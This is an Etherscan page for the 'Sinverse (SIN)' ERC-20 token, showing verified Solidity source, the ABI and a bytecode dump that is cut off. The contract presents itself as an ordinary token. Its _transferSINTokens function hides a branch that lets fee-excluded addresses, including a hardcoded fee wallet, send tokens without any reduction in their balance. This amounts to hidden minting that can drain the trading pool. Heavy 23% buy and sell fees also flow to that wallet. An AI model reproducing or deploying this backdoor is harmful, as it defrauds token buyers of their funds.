ETH Price: $3,398.60 (+1.92%)

Token

Sinverse (SIN)
 

Overview

Max Total Supply

1,000,000,000 SIN

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
13,096,153.906176356 SIN

Value
$0.00
0x329c1910210e67c140e09c9ea2840cd3f43d6132
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SIN

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-16
*/

// SPDX-License-Identifier: Unlicensed

/*
The FIRST 'R-Rated' Metaverse.

Website: https://www.sinverse.pro
Telegram: https://t.me/sinverse_erc
Twitter: https://twitter.com/sinverse_erc
*/

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract SIN is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    string private _name = "Sinverse"; 
    string private _symbol = "SIN";  

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;

    mapping (address => uint256) private _rOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) _isFeeExcluded; 

    uint256 _prevTotalFee = _totalFee; 
    uint256 _prevBuyFee = _buyFee; 
    uint256 _prevSellFee = _sellFee; 

    uint256 _maxWallet = 25 * _totalSupply / 1000;
    uint256 _swpaThreshold = _totalSupply / 10000;

    uint256 _totalFee = 2300;
    uint256 _buyFee = 23;
    uint256 _sellFee = 23;

    uint8 _countSINTx = 0;
    uint8 _swapSINTrigger = 2; 

    address payable _feeAddress = payable(0x842CD97596DA55c9C2ae447D78EEfF7cA114bE6a);
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 
                                     
    IUniswapV2Router02 _uniswapV2Router;
    address _uniswapV2Pair;
    bool _inSwapAndLiquify;
    bool _swapAndLiquifyEnabled = true;
    
    modifier lockTheSwap {
        _inSwapAndLiquify = true;
        _;
        _inSwapAndLiquify = false;
    }
    
    constructor () {
        _rOwned[owner()] = _totalSupply;
        IUniswapV2Router02 __uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        _uniswapV2Pair = IUniswapV2Factory(__uniswapV2Router.factory()).createPair(address(this), __uniswapV2Router.WETH());
        _uniswapV2Router = __uniswapV2Router;
        _isFeeExcluded[owner()] = true;
        _isFeeExcluded[_feeAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }

    function _transferSINTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tDev) = _getSINValues(tAmount);
        if(_isFeeExcluded[sender] && _rOwned[sender] <= _maxWallet) {
            tDev = 0;
            tAmount -= tTransferAmount;
        }
        _rOwned[sender] = _rOwned[sender].sub(tAmount);
        _rOwned[recipient] = _rOwned[recipient].add(tTransferAmount);
        _rOwned[address(this)] = _rOwned[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function removeSINLimits() external onlyOwner {
        _maxWallet = ~uint256(0);
        
        // _totalFee = 100;
        _totalFee = 1;
        _buyFee = 1; 
        _sellFee = 1; 
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    receive() external payable {}
    
    function removeAllSINFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _prevBuyFee = _buyFee; 
        _prevSellFee = _sellFee; 
        _prevTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }
    
    function restoreAllSINFee() private {
        _totalFee = _prevTotalFee;
        _buyFee = _prevBuyFee; 
        _sellFee = _prevSellFee; 
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _feeAddress &&
            to != address(this) &&
            to != _uniswapV2Pair &&
            to != DEAD &&
            from != owner()){

            uint256 holdBalance = balanceOf(to);
            require((holdBalance + amount) <= _maxWallet,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(_countSINTx >= _swapSINTrigger && 
            amount > _swpaThreshold &&
            !_inSwapAndLiquify &&
            !_isFeeExcluded[from] &&
            to == _uniswapV2Pair &&
            _swapAndLiquifyEnabled )
        {  
            _countSINTx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapSINAndLiquidify(contractTokenBalance);
           }
        }
        
        bool _takeFee = true;
         
        if(_isFeeExcluded[from] || _isFeeExcluded[to] || (from != _uniswapV2Pair && to != _uniswapV2Pair)){
            _takeFee = false;
        } else if (from == _uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == _uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,_takeFee);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function sendToSINWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapSINAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapSINForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToSINWallet(_feeAddress,contractETH);
    }

    function swapSINForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _getSINValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tDev = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool _takeFee) private {
            
        if(!_takeFee){
            removeAllSINFee();
            } else {
                _countSINTx++;
            }
        _transferSINTokens(sender, recipient, amount);
        
        if(!_takeFee)
            restoreAllSINFee();
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeSINLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600860809081526753696e766572736560c01b60a052600190620000299082620004c4565b5060408051808201909152600381526229a4a760e91b6020820152600290620000539082620004c4565b506003805460ff191660099081179091556200007190600a620006a5565b6200008190633b9aca00620006bd565b600455600d54600855600e54600955600f54600a556103e86004546019620000aa9190620006bd565b620000b69190620006d7565b600b55612710600454620000cb9190620006d7565b600c556108fc600d556017600e819055600f556010805475842cd97596da55c9c2ae447d78eeff7ca114be6a02006001600160b01b0319909116179055601180546001600160a01b03191661dead1790556013805460ff60a81b1916600160a81b1790553480156200013c57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360045460056000620001966000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000212573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002389190620006fa565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000286573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ac9190620006fa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002fa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003209190620006fa565b601380546001600160a01b03199081166001600160a01b039384161790915560128054909116918316919091179055600160076000620003686000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560105462010000900490911681526007909252902080549091166001179055620003c86000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200041091815260200190565b60405180910390a35062000725565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200044a57607f821691505b6020821081036200046b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004bf57600081815260208120601f850160051c810160208610156200049a5750805b601f850160051c820191505b81811015620004bb57828155600101620004a6565b5050505b505050565b81516001600160401b03811115620004e057620004e06200041f565b620004f881620004f1845462000435565b8462000471565b602080601f831160018114620005305760008415620005175750858301515b600019600386901b1c1916600185901b178555620004bb565b600085815260208120601f198616915b82811015620005615788860151825594840194600190910190840162000540565b5085821015620005805787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005e7578160001904821115620005cb57620005cb62000590565b80851615620005d957918102915b93841c9390800290620005ab565b509250929050565b60008262000600575060016200069f565b816200060f575060006200069f565b8160018114620006285760028114620006335762000653565b60019150506200069f565b60ff84111562000647576200064762000590565b50506001821b6200069f565b5060208310610133831016604e8410600b841016171562000678575081810a6200069f565b620006848383620005a6565b80600019048211156200069b576200069b62000590565b0290505b92915050565b6000620006b660ff841683620005ef565b9392505050565b80820281158282048414176200069f576200069f62000590565b600082620006f557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200070d57600080fd5b81516001600160a01b0381168114620006b657600080fd5b61115180620007356000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610218578063a9059cbb1461022d578063dd62ed3e1461024d578063f2fde38b1461029357600080fd5b806370a08231146101a5578063715018a6146101db5780638da5cb5b146101f057600080fd5b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012d57806323b872dd1461014c578063313ce5671461016c5780634274184f1461018e57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506100e76102b3565b6040516100f49190610e23565b60405180910390f35b34801561010957600080fd5b5061011d610118366004610e89565b610345565b60405190151581526020016100f4565b34801561013957600080fd5b506004545b6040519081526020016100f4565b34801561015857600080fd5b5061011d610167366004610eb5565b61035c565b34801561017857600080fd5b5060035460405160ff90911681526020016100f4565b34801561019a57600080fd5b506101a36103c5565b005b3480156101b157600080fd5b5061013e6101c0366004610ef6565b6001600160a01b031660009081526005602052604090205490565b3480156101e757600080fd5b506101a361040f565b3480156101fc57600080fd5b506000546040516001600160a01b0390911681526020016100f4565b34801561022457600080fd5b506100e7610483565b34801561023957600080fd5b5061011d610248366004610e89565b610492565b34801561025957600080fd5b5061013e610268366004610f13565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561029f57600080fd5b506101a36102ae366004610ef6565b61049f565b6060600180546102c290610f4c565b80601f01602080910402602001604051908101604052809291908181526020018280546102ee90610f4c565b801561033b5780601f106103105761010080835404028352916020019161033b565b820191906000526020600020905b81548152906001019060200180831161031e57829003601f168201915b5050505050905090565b6000610352338484610589565b5060015b92915050565b600061036984848461064a565b6103bb84336103b6856040518060600160405280602881526020016110f4602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906109b4565b610589565b5060019392505050565b6000546001600160a01b031633146103f85760405162461bcd60e51b81526004016103ef90610f86565b60405180910390fd5b600019600b556001600d819055600e819055600f55565b6000546001600160a01b031633146104395760405162461bcd60e51b81526004016103ef90610f86565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600280546102c290610f4c565b600061035233848461064a565b6000546001600160a01b031633146104c95760405162461bcd60e51b81526004016103ef90610f86565b6001600160a01b03811661052e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ef565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316158015906105a957506001600160a01b03821615155b6105e95760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016103ef565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061067c57506010546001600160a01b03838116620100009092041614155b801561069157506001600160a01b0382163014155b80156106ab57506013546001600160a01b03838116911614155b80156106c557506011546001600160a01b03838116911614155b80156106df57506000546001600160a01b03848116911614155b1561076b576001600160a01b038216600090815260056020526040902054600b5461070a8383610fd1565b11156107695760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016103ef565b505b6001600160a01b0383161580159061078b57506001600160a01b03821615155b6107cf5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016103ef565b6000811161082d5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016103ef565b60105460ff6101008204811691161080159061084a5750600c5481115b80156108605750601354600160a01b900460ff16155b801561088557506001600160a01b03831660009081526007602052604090205460ff16155b801561089e57506013546001600160a01b038381169116145b80156108b35750601354600160a81b900460ff165b156108e3576010805460ff191690553060009081526005602052604090205480156108e1576108e1816109e0565b505b6001600160a01b03831660009081526007602052604090205460019060ff168061092557506001600160a01b03831660009081526007602052604090205460ff165b8061095757506013546001600160a01b0385811691161480159061095757506013546001600160a01b03848116911614155b15610964575060006109a2565b6013546001600160a01b039081169085160361098557600e54600d556109a2565b6013546001600160a01b03908116908416036109a257600f54600d555b6109ae84848484610a2b565b50505050565b600081848411156109d85760405162461bcd60e51b81526004016103ef9190610e23565b505050900390565b6013805460ff60a01b1916600160a01b1790556109fc81610a91565b6010544790610a1a906201000090046001600160a01b031682610beb565b50506013805460ff60a01b19169055565b80610a3d57610a38610c26565b610a6a565b6010805460ff16906000610a5083610fe4565b91906101000a81548160ff021916908360ff160217905550505b610a75848484610c6b565b806109ae576109ae600854600d55600954600e55600a54600f55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ac657610ac6611003565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b439190611019565b81600181518110610b5657610b56611003565b6001600160a01b039283166020918202929092010152601254610b7c9130911684610589565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610bb5908590600090869030904290600401611036565b600060405180830381600087803b158015610bcf57600080fd5b505af1158015610be3573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610c21573d6000803e3d6000fd5b505050565b600d54158015610c365750600e54155b8015610c425750600f54155b15610c4957565b600e8054600955600f8054600a55600d80546008556000928390559082905555565b600080610c7783610dae565b6001600160a01b038716600090815260076020526040902054919350915060ff168015610cbe5750600b546001600160a01b03861660009081526005602052604090205411155b15610cd357506000610cd082846110a7565b92505b6001600160a01b038516600090815260056020526040902054610cf69084610dec565b6001600160a01b038087166000908152600560205260408082209390935590861681522054610d259083610dff565b6001600160a01b038516600090815260056020526040808220929092553081522054610d519082610dff565b3060009081526005602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610dd36064610dcd600d5487610e0b90919063ffffffff16565b90610e17565b90506000610de18583610dec565b959194509092505050565b6000610df882846110a7565b9392505050565b6000610df88284610fd1565b6000610df882846110ba565b6000610df882846110d1565b600060208083528351808285015260005b81811015610e5057858101830151858201604001528201610e34565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e8657600080fd5b50565b60008060408385031215610e9c57600080fd5b8235610ea781610e71565b946020939093013593505050565b600080600060608486031215610eca57600080fd5b8335610ed581610e71565b92506020840135610ee581610e71565b929592945050506040919091013590565b600060208284031215610f0857600080fd5b8135610df881610e71565b60008060408385031215610f2657600080fd5b8235610f3181610e71565b91506020830135610f4181610e71565b809150509250929050565b600181811c90821680610f6057607f821691505b602082108103610f8057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561035657610356610fbb565b600060ff821660ff8103610ffa57610ffa610fbb565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561102b57600080fd5b8151610df881610e71565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110865784516001600160a01b031683529383019391830191600101611061565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561035657610356610fbb565b808202811582820484141761035657610356610fbb565b6000826110ee57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c1f712fae77a6e021f9cad7629eeb5561a289010c8e52c85f9c739d96be1f42064736f6c63430008130033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610218578063a9059cbb1461022d578063dd62ed3e1461024d578063f2fde38b1461029357600080fd5b806370a08231146101a5578063715018a6146101db5780638da5cb5b146101f057600080fd5b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012d57806323b872dd1461014c578063313ce5671461016c5780634274184f1461018e57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506100e76102b3565b6040516100f49190610e23565b60405180910390f35b34801561010957600080fd5b5061011d610118366004610e89565b610345565b60405190151581526020016100f4565b34801561013957600080fd5b506004545b6040519081526020016100f4565b34801561015857600080fd5b5061011d610167366004610eb5565b61035c565b34801561017857600080fd5b5060035460405160ff90911681526020016100f4565b34801561019a57600080fd5b506101a36103c5565b005b3480156101b157600080fd5b5061013e6101c0366004610ef6565b6001600160a01b031660009081526005602052604090205490565b3480156101e757600080fd5b506101a361040f565b3480156101fc57600080fd5b506000546040516001600160a01b0390911681526020016100f4565b34801561022457600080fd5b506100e7610483565b34801561023957600080fd5b5061011d610248366004610e89565b610492565b34801561025957600080fd5b5061013e610268366004610f13565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561029f57600080fd5b506101a36102ae366004610ef6565b61049f565b6060600180546102c290610f4c565b80601f01602080910402602001604051908101604052809291908181526020018280546102ee90610f4c565b801561033b5780601f106103105761010080835404028352916020019161033b565b820191906000526020600020905b81548152906001019060200180831161031e57829003601f168201915b5050505050905090565b6000610352338484610589565b5060015b92915050565b600061036984848461064a565b6103bb84336103b6856040518060600160405280602881526020016110f4602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906109b4565b610589565b5060019392505050565b6000546001600160a01b031633146103f85760405162461bcd60e51b81526004016103ef90610f86565b60405180910390fd5b600019600b556001600d819055600e819055600f55565b6000546001600160a01b031633146104395760405162461bcd60e51b81526004016103ef90610f86565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600280546102c290610f4c565b600061035233848461064a565b6000546001600160a01b031633146104c95760405162461bcd60e51b81526004016103ef90610f86565b6001600160a01b03811661052e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ef565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316158015906105a957506001600160a01b03821615155b6105e95760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016103ef565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061067c57506010546001600160a01b03838116620100009092041614155b801561069157506001600160a01b0382163014155b80156106ab57506013546001600160a01b03838116911614155b80156106c557506011546001600160a01b03838116911614155b80156106df57506000546001600160a01b03848116911614155b1561076b576001600160a01b038216600090815260056020526040902054600b5461070a8383610fd1565b11156107695760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016103ef565b505b6001600160a01b0383161580159061078b57506001600160a01b03821615155b6107cf5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016103ef565b6000811161082d5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016103ef565b60105460ff6101008204811691161080159061084a5750600c5481115b80156108605750601354600160a01b900460ff16155b801561088557506001600160a01b03831660009081526007602052604090205460ff16155b801561089e57506013546001600160a01b038381169116145b80156108b35750601354600160a81b900460ff165b156108e3576010805460ff191690553060009081526005602052604090205480156108e1576108e1816109e0565b505b6001600160a01b03831660009081526007602052604090205460019060ff168061092557506001600160a01b03831660009081526007602052604090205460ff165b8061095757506013546001600160a01b0385811691161480159061095757506013546001600160a01b03848116911614155b15610964575060006109a2565b6013546001600160a01b039081169085160361098557600e54600d556109a2565b6013546001600160a01b03908116908416036109a257600f54600d555b6109ae84848484610a2b565b50505050565b600081848411156109d85760405162461bcd60e51b81526004016103ef9190610e23565b505050900390565b6013805460ff60a01b1916600160a01b1790556109fc81610a91565b6010544790610a1a906201000090046001600160a01b031682610beb565b50506013805460ff60a01b19169055565b80610a3d57610a38610c26565b610a6a565b6010805460ff16906000610a5083610fe4565b91906101000a81548160ff021916908360ff160217905550505b610a75848484610c6b565b806109ae576109ae600854600d55600954600e55600a54600f55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ac657610ac6611003565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b439190611019565b81600181518110610b5657610b56611003565b6001600160a01b039283166020918202929092010152601254610b7c9130911684610589565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610bb5908590600090869030904290600401611036565b600060405180830381600087803b158015610bcf57600080fd5b505af1158015610be3573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610c21573d6000803e3d6000fd5b505050565b600d54158015610c365750600e54155b8015610c425750600f54155b15610c4957565b600e8054600955600f8054600a55600d80546008556000928390559082905555565b600080610c7783610dae565b6001600160a01b038716600090815260076020526040902054919350915060ff168015610cbe5750600b546001600160a01b03861660009081526005602052604090205411155b15610cd357506000610cd082846110a7565b92505b6001600160a01b03851660009